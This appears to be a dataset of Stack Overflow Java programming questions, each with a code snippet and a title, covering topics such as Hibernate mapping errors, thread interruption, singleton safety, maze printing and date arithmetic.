Overall : < br/ > '' , overallMs ) ) ; } } timer.scheduleAtFixedRate ( new TimerTask ( ) { @ Override public void run ( ) { long now = System.currentTimeMillis ( ) ; if ( ! sessionPaused ) { if ( now-programLastMs > 1000 ) { save ( ) ; programLastMs = now ; } sessionMs += now-sessionPrevMs ; overallMs += now-sessionPrevMs ; sessionPrevMs = now ; sessionLabel.setText ( formatMillis ( `` This Session : < br/ > '' , sessionMs ) ) ; overallLabel.setText ( formatMillis ( `` Overall : < br/ > '' , overallMs ) ) ; } } } , 0 , 1 ) ;",while ( true ) loop or java.util.Timer for a standard program loop ? +Java,"I 've written some code that generates mazes for me . The maze consists of ( n x n ) cells , each cell has a boolean value to represent a wall ( north , south , east west ) .It is working fine , and I wrote the function below to print out the maze : However , because cells share walls I produce a sort of a double-wall corridor look in my print function : How should I modify my print function so it looks like : I fear I 'm going to face a similar problem when I eventually get to the point I start drawing my maze using actual graphics rather than ascii as well.How do I modify my printMaze method so it goes from the first example to the second one ? In case anyone is interested the source code to my class for generating these is here .",public static void printMaze ( Cell [ ] [ ] maze ) { for ( int i = 0 ; i < maze.length ; i++ ) { for ( int j = 0 ; j < maze [ i ] .length ; j++ ) { System.out.print ( ( maze [ i ] [ j ] .walls.get ( Dir.NORTH ) ) ? `` + -- + '' : `` + + '' ) ; } System.out.println ( ) ; for ( int j = 0 ; j < maze [ i ] .length ; j++ ) { System.out.print ( ( maze [ i ] [ j ] .walls.get ( Dir.WEST ) ) ? `` | '' : `` `` ) ; System.out.print ( `` `` ) ; System.out.print ( ( maze [ i ] [ j ] .walls.get ( Dir.EAST ) ) ? `` | '' : `` `` ) ; } System.out.println ( ) ; for ( int j = 0 ; j < maze [ i ] .length ; j++ ) { System.out.print ( ( maze [ i ] [ j ] .walls.get ( Dir.SOUTH ) ) ? `` + -- + '' : `` + + '' ) ; } System.out.println ( ) ; } } + -- ++ -- ++ -- ++ -- ++ -- ++ -- ++ -- ++ -- ++ -- ++ -- +| || || |+ -- ++ ++ -- ++ -- ++ ++ -- ++ -- ++ ++ ++ -- ++ -- ++ ++ -- ++ -- ++ ++ -- ++ -- ++ ++ ++ -- +| || || || || |+ ++ -- ++ -- ++ ++ ++ ++ -- ++ -- ++ -- ++ ++ ++ -- ++ -- ++ ++ ++ ++ -- ++ -- ++ -- ++ +| || || || || || || |+ ++ ++ ++ -- ++ ++ ++ ++ ++ ++ ++ ++ ++ ++ -- ++ ++ ++ ++ ++ ++ +| || || || || || || |+ ++ ++ ++ ++ ++ -- ++ -- ++ -- ++ -- ++ ++ ++ ++ ++ ++ ++ -- ++ -- ++ -- ++ -- ++ +| || || || || |+ ++ -- ++ -- ++ -- ++ -- ++ -- ++ ++ -- ++ ++ ++ ++ -- ++ -- ++ -- ++ -- ++ -- ++ ++ -- ++ ++ +| || || || || |+ ++ -- ++ ++ ++ ++ -- ++ -- ++ ++ -- ++ ++ ++ -- ++ ++ ++ ++ -- ++ -- ++ ++ -- ++ +| || || || || || |+ -- ++ -- ++ -- ++ ++ ++ ++ ++ ++ ++ ++ -- ++ -- ++ -- ++ ++ ++ ++ ++ ++ ++ +| || || || || || || |+ ++ ++ -- ++ ++ ++ ++ ++ -- ++ -- ++ ++ ++ ++ -- ++ ++ ++ ++ ++ -- ++ -- ++ +| || || || || || || |+ ++ ++ ++ -- ++ -- ++ -- ++ ++ ++ ++ -- ++ ++ ++ ++ -- ++ -- ++ -- ++ ++ ++ ++ -- +| || || |+ -- ++ -- ++ -- ++ -- ++ -- ++ -- ++ -- ++ -- ++ -- ++ -- + + -- + -- + -- + -- + -- + -- + -- + -- + -- + -- +| | | |+ -- + + -- + -- + + -- + -- + + + -- +| | | | | |+ + -- + -- + + + + -- + -- + -- + +| | | | | | | |+ + + + -- + + + + + + +| | | | | | | |+ + + + + + -- + -- + -- + -- + +| | | | | |+ + -- + -- + -- + -- + -- + + -- + + +| | | | | |+ + -- + + + + -- + -- + + -- + +| | | | | | |+ -- + -- + -- + + + + + + + +| | | | | | | |+ + + -- + + + + + -- + -- + +| | | | | | | |+ + + + -- + -- + -- + + + + -- +| | | |+ -- + -- + -- + -- + -- + -- + -- + -- + -- + -- +,How could I stop from printing both sides of a wall in my ascii maze ? +Java,"I have started with JAVA programming recently and have one question to ask.Let 's say I have one SuperClass and one SubClass which extends SuperClass and try to Override a method defined in SuperClass as follows : I try to extend the SuperClass in my SubClass and override the method with only one exception , instead of type int declared in method1 , I use the type for the argument as Integer , as follows : This declaration of SubClass method is not allowed by the compiler ( I am using eclipse IDE ) . Why is this so ? Integer is essentially wrapper of int then why such a declaration is prohibited ? Thanks",public class SuperClass { public void method1 ( int val ) { System.out.println ( `` This is method in SuperClass.Val is : '' + val ) ; } } public class SubClass extends SuperClass { @ Override public void method1 ( Integer val ) { ///compiler gives an error } },Why difference in types of arguments in overridden method ( one is primitive and other is wrapper ) is not allowed ? +Java,"So I was curious as to how would the following code be rewritten more effiently with the java8 streams API . After this method is done doing what its is doing and I receive the list of FLightInfo objects , I am converting it into a stream and will be doing various transformations on it ( group by , etc ) . Now it is pretty apparant that this is a long running operation . Furthermore it actually combines multiple rest calls to the web service , so I already have most of the data obtained by the time I make the last call , but I would not start processing it before the whole method returns . Is there a way to do all that a bit more reactively ? Could I return a stream immediatelly and have the operations on that stream process data as it comes down the pipe or this is a bit too much to ask ? How would that be done in Java 8 . That","public static List < FlightInfo > getResults ( String origin , List < String > destinations ) { final String uri = `` https : //api.searchflight.com/ ; List < FlightInfo > results = new LinkedList < FlightInfo > ( ) ; for ( String destination : destinations ) { RestTemplate restTemplate = new RestTemplate ( ) ; String params = getParams ( origin , destination ) ; FlightInfo result = restTemplate.postForObject ( uri+params , FlightInfo.class ) ; results.add ( result ) ; } return results ; }",Consuming Rest Service the functional way +Java,"I am very confused and not able to understand why InterruptedException should not be swallowed.The article from IBM saysWhen a blocking method detects interruption and throws InterruptedException , it clears the interrupted status . If you catch InterruptedException but can not rethrow it , you should preserve evidence that the interruption occurred so that code higher up on the call stack can learn of the interruption and respond to it if it wants toAlso , Java Concurrency in Practice discusses this in more detail in Chapter 7.1.3 : Responding to Interruption . Its rule is : Only code that implements a thread 's interruption policy may swallow an interruption request . General-purpose task and library code should never swallow interruption requests.1.Can anyone explain how can code in higher call stack make use of the status set by Thread.currentThread ( ) .interrupt ( ) ; in catch block when the thread is terminated ? Also Please explain the above rule ?","public class TaskRunner implements Runnable { private BlockingQueue < Task > queue ; public TaskRunner ( BlockingQueue < Task > queue ) { this.queue = queue ; } public void run ( ) { try { while ( true ) { Task task = queue.take ( 10 , TimeUnit.SECONDS ) ; task.execute ( ) ; } } catch ( InterruptedException e ) { Thread.currentThread ( ) .interrupt ( ) ; //preserve the message return ; //Stop doing whatever I am doing and terminate } } }",Why should we not swallow the InterruptedException +Java,"In a multi-threaded environment , how can a thread possibly see a 'partially constructed object ' ? I understood that it is not thread-safe since multiple threads can create multiple instances .",class LazyInit { private static Resource resource = null ; public static getInstance ( ) { if ( resource == null ) { resource = new Resource ( ) ; } return instance ; } },Partially constructed objects in non thread-safe Singleton +Java,"I am trying to figure out a tight bound in terms of big-O for this snippet : If we start with the inner most loop , it will in worst case run k = n^2 times , which accounts for O ( N^2 ) .The if-statement will be true every time j = m*i , where m is an arbitrary constant . Since j runs from 1 to i^2 , this will happen when m= { 1 , 2 , ... , i } , which means it will be true i times , and i can at most be n , so the worst case will be m= { 1,2 , ... , n } = n times . The second loop should have a worsts case of O ( N^2 ) if i = n.The outer loop has a worst case complexity of O ( N ) . I argue that this will combine in the following way : O ( N^2 ) for the inner loop * O ( N^2 ) for the second loop * O ( N ) for the outer loop gives a worst case time complexity of O ( N^5 ) However , the if-statement guarantees that we will only reach the inner loop n times , not n^2 . But regardless of this , we still need to go through the outer loops n * n^2 times . Does the if-test influence the worst case time complexity for the snippet ? Edit : Corrected for j to i^2 , not i .",for ( int i = 1 ; i < = n ; i++ ) { for ( int j = 1 ; j < = i*i ; j++ ) { if ( j % i == 0 ) { for ( int k = 0 ; k < j ; k++ ) sum++ ; } } },Time complexity O ( N ) of nested loops with if-statement : O ( N^4 ) ? +Java,When do we actually use the package keyword ? What does it mean ? Suppose I write the following code : What does this package thing do ? I get a masnun.class file that does n't run . I am new to Java . Can somebody please explain ? Thanks,package masnun ; public class masnun { public static void main ( String args [ ] ) { System.out.println ( `` Hello maSnun ! `` ) ; } },Package in Java +Java,"I am trying to use Hibernate on my project < < all sources if wanted , I try to create and save an object player on startup , I get the following error : I have stepped through my program and it seems to have a valid object passed the the hibernate save function , and somewhere inside it throws an error . I have tried removing the created field , at which point it then complains about a string field with the same error , trying to set it as a Player object itself.here is my DAOimpl.classI have googled and googled and tried as many hibernate tutorials as i can find and I still have this issue . I do n't understand why hibernate is trying to set a field as an object , I have my annotations.incase its wanted here is my domain object player : and here is the calling class : Please does anyone know how to solve this issue , thanks.EDIT : ( added sql ) EDIT added hibernate config/src/main/resources/hibernate.cfg.xml","START SCRIPT ! org.hibernate.property.access.spi.PropertyAccessException : Error accessing field [ private java.util.Date centaurus.domain.User.created ] by reflection for persistent property [ centaurus.domain.User # created ] : User { id=0 , email='test ' , created=Wed Jun 08 13:06:53 BST 2016 } at org.hibernate.property.access.spi.GetterFieldImpl.get ( GetterFieldImpl.java:43 ) at org.hibernate.property.access.spi.GetterFieldImpl.getForInsert ( GetterFieldImpl.java:58 ) at org.hibernate.tuple.entity.AbstractEntityTuplizer.getPropertyValuesToInsert ( AbstractEntityTuplizer.java:521 ) at org.hibernate.tuple.entity.PojoEntityTuplizer.getPropertyValuesToInsert ( PojoEntityTuplizer.java:228 ) at org.hibernate.persister.entity.AbstractEntityPersister.getPropertyValuesToInsert ( AbstractEntityPersister.java:4701 ) at org.hibernate.event.internal.AbstractSaveEventListener.performSaveOrReplicate ( AbstractSaveEventListener.java:254 ) at org.hibernate.event.internal.AbstractSaveEventListener.performSave ( AbstractSaveEventListener.java:182 ) at org.hibernate.event.internal.AbstractSaveEventListener.saveWithGeneratedId ( AbstractSaveEventListener.java:113 ) at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.saveWithGeneratedOrRequestedId ( DefaultSaveOrUpdateEventListener.java:192 ) at org.hibernate.event.internal.DefaultSaveEventListener.saveWithGeneratedOrRequestedId ( DefaultSaveEventListener.java:38 ) at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.entityIsTransient ( DefaultSaveOrUpdateEventListener.java:177 ) at org.hibernate.event.internal.DefaultSaveEventListener.performSaveOrUpdate ( DefaultSaveEventListener.java:32 ) at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.onSaveOrUpdate ( DefaultSaveOrUpdateEventListener.java:73 ) at org.hibernate.internal.SessionImpl.fireSave ( SessionImpl.java:682 ) at org.hibernate.internal.SessionImpl.save ( SessionImpl.java:674 ) at org.hibernate.internal.SessionImpl.save ( SessionImpl.java:669 ) at centaurus.service.player.PlayerDAOimpl.saveUser ( PlayerDAOimpl.java:32 ) at centaurus.Dbmaintain.start ( Dbmaintain.java:25 ) at restx.factory.Factory.start ( Factory.java:846 ) at restx.RestxMainRouterFactory.build ( RestxMainRouterFactory.java:450 ) at restx.RestxMainRouterFactory.newInstance ( RestxMainRouterFactory.java:70 ) at restx.servlet.RestxMainRouterServlet.init ( RestxMainRouterServlet.java:74 ) at org.eclipse.jetty.servlet.ServletHolder.initServlet ( ServletHolder.java:519 ) at org.eclipse.jetty.servlet.ServletHolder.doStart ( ServletHolder.java:331 ) at org.eclipse.jetty.util.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:64 ) at org.eclipse.jetty.servlet.ServletHandler.initialize ( ServletHandler.java:747 ) at org.eclipse.jetty.servlet.ServletContextHandler.startContext ( ServletContextHandler.java:265 ) at org.eclipse.jetty.webapp.WebAppContext.startContext ( WebAppContext.java:1250 ) at org.eclipse.jetty.server.handler.ContextHandler.doStart ( ContextHandler.java:706 ) at org.eclipse.jetty.webapp.WebAppContext.doStart ( WebAppContext.java:492 ) at org.eclipse.jetty.util.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:64 ) at org.eclipse.jetty.server.handler.HandlerCollection.doStart ( HandlerCollection.java:229 ) at org.eclipse.jetty.util.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:64 ) at org.eclipse.jetty.server.handler.HandlerCollection.doStart ( HandlerCollection.java:229 ) at org.eclipse.jetty.util.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:64 ) at org.eclipse.jetty.server.handler.HandlerWrapper.doStart ( HandlerWrapper.java:95 ) at org.eclipse.jetty.server.Server.doStart ( Server.java:277 ) at org.eclipse.jetty.util.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:64 ) at restx.server.JettyWebServer.start ( JettyWebServer.java:109 ) at restx.server.JettyWebServer.startAndAwait ( JettyWebServer.java:114 ) at centaurus.AppServer.main ( AppServer.java:30 ) Caused by : java.lang.IllegalArgumentException : Can not set java.util.Date field centaurus.domain.User.created to centaurus.domain.User at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException ( UnsafeFieldAccessorImpl.java:164 ) at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException ( UnsafeFieldAccessorImpl.java:168 ) at sun.reflect.UnsafeFieldAccessorImpl.ensureObj ( UnsafeFieldAccessorImpl.java:55 ) at sun.reflect.UnsafeObjectFieldAccessorImpl.get ( UnsafeObjectFieldAccessorImpl.java:36 ) at java.lang.reflect.Field.get ( Field.java:379 ) at org.hibernate.property.access.spi.GetterFieldImpl.get ( GetterFieldImpl.java:39 ) ... 40 more2016-06-08 13:06:53,232 [ main ] [ ] INFO restx.monitor.MetricsConfiguration - registering Metrics JVM metrics package centaurus.dao.user ; import centaurus.domain.User ; import centaurus.service.HibernateUtils ; import restx.factory.Component ; import org.hibernate.HibernateException ; import org.hibernate.Session ; import org.hibernate.Transaction ; import javax.inject.Named ; import java.util.List ; @ Componentpublic class UserDAOimpl implements UserDAO { private static HibernateUtils hibernateUtils ; public UserDAOimpl ( @ Named ( `` HibernateUtils '' ) HibernateUtils hibernateUtils ) { this.hibernateUtils = hibernateUtils ; } public User saveUser ( User user ) { Session session = hibernateUtils.getFactory ( ) .openSession ( ) ; Transaction tx = null ; Integer playerID = null ; try { tx = session.beginTransaction ( ) ; //playerID = ( Integer ) session.save ( user ) ; session.save ( user ) ; tx.commit ( ) ; } catch ( HibernateException e ) { if ( tx ! =null ) tx.rollback ( ) ; e.printStackTrace ( ) ; } finally { session.close ( ) ; } return user ; } public User getUser ( int playerId ) { Session session = hibernateUtils.getFactory ( ) .openSession ( ) ; try { User user = ( User ) session.get ( User.class , playerId ) ; return user ; } catch ( HibernateException e ) { } finally { session.close ( ) ; } return null ; } public List < User > getUsers ( ) { Session session = hibernateUtils.getFactory ( ) .openSession ( ) ; List < User > list = null ; try { list = session.createCriteria ( User.class ) .list ( ) ; } catch ( HibernateException e ) { } finally { session.close ( ) ; } return list ; } } package centaurus.domain ; import javax.persistence . * ; import java.io.Serializable ; import java.util.Calendar ; import java.util.Date ; @ Entity @ Table ( name= '' users '' ) public class User implements Serializable { @ Id @ GeneratedValue ( strategy = GenerationType.IDENTITY ) @ Column ( name= '' USER_ID '' ) private int id = 0 ; @ Column ( name= '' EMAIL '' ) private String email = `` '' ; @ Column ( name= '' CREATED '' ) private Date created = null ; public User ( ) { Calendar cal = Calendar.getInstance ( ) ; this.created = cal.getTime ( ) ; } ; public User ( int id , String email , Date created ) { this.id = id ; this.email = email ; this.created = created ; } public String getEmail ( ) { return email ; } public void setEmail ( String email ) { this.email = email ; } public void setId ( int id ) { this.id = id ; } public int getId ( ) { return id ; } public Date getCreated ( ) { return created ; } public void setCreated ( Date created ) { this.created = created ; } @ Override public String toString ( ) { return `` User { `` + `` id= '' + id + `` , email= ' '' + email + '\ '' + `` , created= '' + created + ' } ' ; } } package centaurus ; import centaurus.dao.user.UserDAO ; import centaurus.domain.User ; import restx.factory.AutoStartable ; import restx.factory.Component ; import javax.inject.Named ; @ Componentpublic class DBMaintain implements AutoStartable { private UserDAO userDAO ; public DBMaintain ( @ Named ( `` UserDAOimpl '' ) UserDAO userDAO ) { this.userDAO = userDAO ; } public void start ( ) { System.out.println ( `` START SCRIPT ! `` ) ; //test User p = new User ( ) ; p.setEmail ( `` test '' ) ; userDAO.saveUser ( p ) ; } } CREATE TABLE Users ( USER_ID int NOT NULL AUTO_INCREMENT , CREATED TIMESTAMP DEFAULT CURRENT_TIMESTAMP , EMAIL varchar ( 45 ) DEFAULT NULL , PRIMARY KEY ( USER_ID ) ) ; < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ! DOCTYPE hibernate-configuration PUBLIC `` -//Hibernate/Hibernate Configuration DTD 3.0//EN '' `` http : //hibernate.org/dtd/hibernate-configuration-3.0.dtd '' > < hibernate-configuration > < session-factory > < ! -- Database connection properties - Driver , URL , user , password -- > < property name= '' hibernate.connection.driver_class '' > com.mysql.jdbc.Driver < /property > < property name= '' hibernate.connection.url '' > jdbc : mysql : //localhost/andromeda < /property > < property name= '' hibernate.connection.username '' > api < /property > < property name= '' hibernate.connection.password '' > apipassword < /property > < ! -- Connection Pool Size -- > < property name= '' hibernate.connection.pool_size '' > 1 < /property > < ! -- org.hibernate.HibernateException : No CurrentSessionContext configured ! -- > < property name= '' hibernate.current_session_context_class '' > thread < /property > < ! -- Outputs the SQL queries , should be disabled in Production -- > < property name= '' hibernate.show_sql '' > true < /property > < ! -- Dialect is required to let Hibernate know the Database Type , MySQL , Oracle etc Hibernate 4 automatically figure out Dialect from Database Connection Metadata -- > < property name= '' hibernate.dialect '' > org.hibernate.dialect.MySQLDialect < /property > < mapping class= '' centaurus.domain.User '' / > < /session-factory > < /hibernate-configuration >",Hibernate DAO setting object value as object +Java,On Linux OS both OpenJDK and Oracle JDK java variables Return the same results . How can I detect whether running Java is OpenJDK or Orackle JDK ? Code : Output : java -version command for two JDK is :,"System.out.println ( `` java.vendor : `` + System.getProperty ( `` java.vendor '' ) ) ; System.out.println ( `` java.version : `` + System.getProperty ( `` java.version '' ) ) ; System.out.println ( `` java.vendor.url : `` + System.getProperty ( `` java.vendor.url '' ) ) ; java.vendor : Oracle Corporationjava.version : 1.7.0_55java.vendor.url : http : //java.oracle.com/ java version `` 1.7.0_55 '' OpenJDK Runtime Environment ( rhel-2.4.7.1.el6_5-x86_64 u55-b13 ) OpenJDK 64-Bit Server VM ( build 24.51-b03 , mixed mode ) java version `` 1.7.0_51 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_51-b13 ) Java HotSpot ( TM ) Server VM ( build 24.51-b03 , mixed mode )",How to detect running JDK +Java,"When using PropertyEditors with Spring MVC is it bad to have them fetch entities from the database ? Should I instead create an empty entity and set its Id.For instance for the entity Employee : Is it a bad idea to fetch the Entity in the PropertyEditor below with the following GenericEntityEditor : Which can be bound in the controller : Is it preferred to use a more specific approach with a EmployeeEditor and have it just instantiate an Employee entity and set its id : This way we do not do a roundtrip to the DB each time an Employee exists on a Form , but I 'm unsure if this works as expected with Hibernate ?","@ Entity @ Table ( name = `` employee '' ) public class Employee implements GenericEntity < Integer > { @ Id @ GeneratedValue @ Column ( name = `` employee_id '' ) public Integer getEmployeeId ( ) { return employeeId ; } public void setEmployeeId ( Integer employeeId ) { this.employeeId = employeeId ; } /** More properties here **/ } public class GenericEntityEditor < ENTITY extends GenericEntity < Integer > > extends PropertyEditorSupport { private GenericDao < ENTITY , Integer > genericDao ; public GenericEntityEditor ( GenericDao < ENTITY , Integer > genericDao ) { this.genericDao = genericDao ; } @ Override public void setAsText ( String text ) throws IllegalArgumentException { setValue ( genericDao.findById ( Integer.valueOf ( text ) ) ) ; } @ SuppressWarnings ( `` unchecked '' ) @ Override public String getAsText ( ) { ENTITY entity = ( ENTITY ) getValue ( ) ; if ( entity == null ) { return null ; } return String.valueOf ( entity.getId ( ) ) ; } } @ Controllerpublic class EmployeeController { /** Some Service-layer resources **/ @ Resource private EmployeeDao employeeDao ; // implements GenericDao < ENTITY , Integer > genericDao @ SuppressWarnings ( `` unchecked '' ) @ InitBinder public void initBinder ( WebDataBinder binder ) { binder.registerCustomEditor ( Employee.class , new GenericEntityEditor ( employeeDao ) ) ; } /** Some request mapped methods **/ } public class EmployeeEditor extends PropertyEditorSupport { @ Override public void setAsText ( String text ) throws IllegalArgumentException { Employee employee = new Employee ( ) ; employee.setId ( Integer.valueOf ( text ) ) ; } @ SuppressWarnings ( `` unchecked '' ) @ Override public String getAsText ( ) { Employee employee = ( Employee ) getValue ( ) ; if ( employee == null ) { return null ; } return String.valueOf ( employee.getId ( ) ) ; } }",Fetching Entities from DB in a PropertyEditor +Java,"I use Spring Data LDAP and Spring Boot provides out of the box support for an embedded UnboundID server . However , when I use Spring Data LDAP 's @ Entry annotation , I need to specify a different base in the annotation based on whether I 'm using the embedded UnboundID LDAP server , or a remote Active Directory server.I was attempting to do this with SpEL and profile-based properties by specifying : Then I have an application.propreties with ldap.person.base=OU=AD Person Base and an application-embedded.properties with ldap.person.base=OU=Embedded Person Base.However , the @ Entry annotation does not seem to support SpEL evaluation : javax.naming.InvalidNameException : Invalid name : $ { ldap.person.base } There is an open issue in Spring LDAP to add support for this , but is there any workaround or some other way I can accomplish this until it is supported in Spring LDAP ?","@ Entry ( base = `` $ { ldap.person.base } '' , ... )",SpEL not supported in Spring annotation @ Entry.base +Java,I 've been browsing a lot of similar questions in here and on other sites . Still I ca n't seem to get my head wrapped around this problem.I have a class : I 'm trying to use this class in an ArrayList < Event > events but I ca n't find a way to get events.contains ( `` item '' ) to work . I have tried debuging and I 've found that it does n't even enter the overridden method.What am I doing wrong ?,public class Event { public String Item ; public String Title ; public String Desc ; @ Override public boolean equals ( Object o ) { return true ; } },Overriding equals method does n't work +Java,"I have to calculate the difference between to dates , I have found a way but I have this strange result , Am I missing something ? This is the result : Difference in hours : 23Difference in hours : 24Thanks for the advices , now I 'm using the Joda libray , I have this question , when I calculate the difference in this way : If I use this way to calculate the hours I get 24 hours ( because the DST is not considered I assume ) What class/calculus should I use in order to get as result the 23 hours considering the DST ( I have already tried different ways but I do n't get it ) the Period class ? Thanks for all the help ...","public static void main ( String [ ] args ) throws ParseException { DateFormat format = new SimpleDateFormat ( `` yyyy-MM-dd HH : mm '' ) ; long result = format.parse ( `` 2012-03-25 24:00 '' ) .getTime ( ) - format.parse ( `` 2012-03-25 00:00 '' ) .getTime ( ) ; System.out.println ( `` Difference in hours : `` + result/ ( 1000*60*60 ) ) ; result = format.parse ( `` 2012-03-26 24:00 '' ) .getTime ( ) - format.parse ( `` 2012-03-26 00:00 '' ) .getTime ( ) ; System.out.println ( `` Difference in hours : `` + result/ ( 1000*60*60 ) ) ; } DateTime begin = new DateTime ( `` 2012-03-25T00:00+01:00 '' ) ; DateTime end = new DateTime ( `` 2012-03-26T00:00+01:00 '' ) ; Hours m = Hours.hoursBetween ( begin , end ) ;",Date difference in Java 23 hours day +Java,"I have an image which is stored as a byte [ ] array , and I want to flip the image vertically before writing the bytes to disk elsewhere.The image bytes come from a compressed jp2 image file . I 've looked into implementing something like Flip image stored as a byte [ ] array , but I 'm not working in android and do n't have access to BitmapFactory . I 've also looked into converting the byte array to a BufferedImage first , then flipping it , but the height and width of the image is n't known in the current context ( EDIT : I 've modified the code so the height and width are now known ) . Is there a way to do this just with strict array manipulation ? EDIT : Attempted flip code","public static byte [ ] flip ( byte [ ] imageBytes ) { //separate out the sub arrays byte [ ] holder = new byte [ imageBytes.length ] ; byte [ ] subArray = new byte [ dimWidth ] ; //dimWidth is the image width , or number of matrix columns int subCount = 0 ; for ( int i = 0 ; i < imageBytes.length ; i++ ) { subArray [ subCount ] = imageBytes [ i ] ; subCount++ ; if ( i % dimWidth == 0 ) { subArray = reverse ( subArray ) ; if ( i == ( dimWidth ) ) { holder = subArray ; } else { holder = concat ( holder , subArray ) ; } subCount = 0 ; subArray = new byte [ dimWidth ] ; } } subArray = new byte [ dimWidth ] ; System.arraycopy ( imageBytes , imageBytes.length - dimWidth , subArray , 0 , subArray.length ) ; holder = concat ( holder , subArray ) ; imageBytes = holder ; return imageBytes ; }",Flip an image stored as a byte array +Java,"I encountered the following problem ( simplified ) . I wrote the followingIn reading one string the matcher failed to match even though it started with `` Fig '' . I tracked the problem down to a rogue character in the next part of the string . It had codePoint value 1633 frombut did not match the regex . I think it is due to a non-UTF-8 encoding somewhere in the input process.The Javadocs say : Predefined character classes . Any character ( may or may not match line terminators ) Presumably this is not a character in the strict sense of the word , but is is still part of the String . How do I detect this problem ? UPDATE : It was due to a ( char ) 10 which was not easy to spot . My diagnosis above is wrong and all answers below are relevant to the question as asked and are useful .",Pattern pattern = Pattern.compile ( `` Fig . * '' ) ; String s = readMyString ( ) ; Matcher matcher = pattern.matcher ( s ) ; ( int ) charAt ( i ),When does ' . ' not match in a Regex ? +Java,I am just practicing lamdas java 8 . My problem is as followsSum all the digits in an integer until its less than 10 ( means single digit left ) and checks if its 1Sample Input 1Sample Output 1Sample Input 2Sample Output 2I wrote a code It works for the input 1 ie 100 but not for input 2 ie 55 which I clearly understand that in second case 10 is the output because the iteration is not recursive .So how can I make this lambdas expression recursive so that it can work in second case also ? I can create a method with that lambda expression and call it each time until return value is < 10 but I was thinking if there is any approach within lambdas.Thanks,100 1 // true because its one 55 1 ie 5+5 = 10 then 1+0 = 1 so true System.out.println ( Arrays.asList ( String.valueOf ( number ) .split ( `` '' ) ) .stream ( ) .map ( Integer : :valueOf ) .mapToInt ( i- > i ) .sum ( ) == 1 ) ;,Recursive Sum of digits of number ( until digit is less than 10 ) java 8 lambdas only +Java,"I wonder if using an IllegalStateException in this scenario is a good design choice for an API . Scenario : I have a function which checks if an XML document is well formed with the following signature : This function uses the following snippet to load the XML document : The API is designed to be very easy to use . However , I would like to provide to API users the possibility to know why an XML document can not be checked ( example : DocumentBuilderFactory can not create a DocumentBuilder object ) without overwhelming them with tons of checked exception that they will have to deal with.My concerns regarding this design are : a ) Does using one single Exception type ( i.e IllegalStateException ) to return every possible caught exceptions to indicate a failure to perform the check a good idea ? I would say yes since users would except 2 things out of this function : To know if the XML document is well formed or not.To know in the event that the function can not return the answer ( due to an exception for instance ) why the function failed to provide the answer.b ) If the answer to a ) is no , then what would be the most appropriate exception name or solution and why ? Regards ,",public boolean isXMLDocumentWellFormed ( InputStream inXMLDocument ) boolean isXMLDocWellFormed = false ; // Setup document builder DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory .newInstance ( ) ; if ( docBuilderFactory == null ) throw new IllegalStateException ( `` The DocumentBuilderFactory can not be instanciated '' ) ; try { DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder ( ) ; // Parse document Document doc = docBuilder.parse ( inXMLDocument ) ; if ( doc ! = null ) isXMLDocWellFormed = true ; } catch ( ParserConfigurationException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; throw new IllegalStateException ( e ) ; } catch ( SAXException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; throw new IllegalStateException ( e ) ; } catch ( IOException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; throw new IllegalStateException ( e ) ; } return isXMLDocWellFormed ;,Can an IllegalStateException be used to capture all sub-exceptions ? +Java,"I wrote this simple Test class to see how Java evaluates boolean algebra at the Bytecode level : If you simplify method1 ( ) using DeMorgan 's Laws , you should get method2 ( ) . After looking at the Bytecode ( using javap -c Test.class ) , it looks like : So my question is , why is method1 ( ) and method2 ( ) exactly the same at the Bytecode level ?","public class Test { private static boolean a , b ; public static boolean method1 ( ) { return ! ( a || b ) ; } public static boolean method2 ( ) { return ! a & & ! b ; } } Compiled from `` Test.java '' public class Test { public Test ( ) ; Code : 0 : aload_0 1 : invokespecial # 1 // Method java/lang/Object . `` < init > '' : ( ) V 4 : return public static boolean method1 ( ) ; Code : 0 : getstatic # 2 // Field a : Z 3 : ifne 16 6 : getstatic # 3 // Field b : Z 9 : ifne 16 12 : iconst_1 13 : goto 17 16 : iconst_0 17 : ireturn public static boolean method2 ( ) ; Code : 0 : getstatic # 2 // Field a : Z 3 : ifne 16 6 : getstatic # 3 // Field b : Z 9 : ifne 16 12 : iconst_1 13 : goto 17 16 : iconst_0 17 : ireturn }",Why is method1 and method2 the same at the Bytecode level ? +Java,"With Javassist , is there any way to inject code into a native method ? In this case , I 'm trying to make the OpenGL calls in my game print out their names and values when called , but all my attempts have hit errors when I assume the openGL dll code is added.The method would look something like : Since the methods initially have no body , the only way I 've found to actually add the code is with something like : The injection itself works , but then the system fails once the library is loaded saying that the method already has code.I 'd rather not use any premade tools for the call tracking , because of the way I need to format and print out the list for the user . Is there any way to handle this ? If not , is there some way to find all calls to an OpenGL method within another class and append an additional call to a tracker class ?",public static native void glEnable ( int paramInt ) ; CtBehavior method = cl.getDeclaredBehaviors ( ) [ 0 ] ; method.setBody ( `` System.out.println ( \ '' Called.\ '' ) ; '' ) ;,Editing a native method class with javassist ? +Java,"I have a large xml file ( 1Gb ) . I need to make many queries on this xml file ( using xpath for example ) . The results are small parts of the xml.I want the queries to be as fast as possible but the 1Gb file is probably too large for working memory.The xml looks something like this : I need random access , selecting records using for instance as an key . ( Id is most important , but other fields might be used as key too ) . I do n't know the queries in advance , they arrive and have to be executed ASAP , no batch executing but real time . SAX does not look very promising because I do n't want to reread the entire file for every query . But DOM does n't look very promising either , because the file is very large and adding additional structure overhead will almost certainly mean that it is not going to fit in working memory . Which java library / approach could I use best to handle this problem ?",< all > < record > < id > 1 < /id > ... lots of fields . ( Very different fields per record including ( sometimes ) subrecords so mapping on a relational database would be hard ) . < /record > < record > < id > 2 < /id > ... lots of fields . < /record > .. lots and lots and lots of records < /all >,Random queries on a large xml file 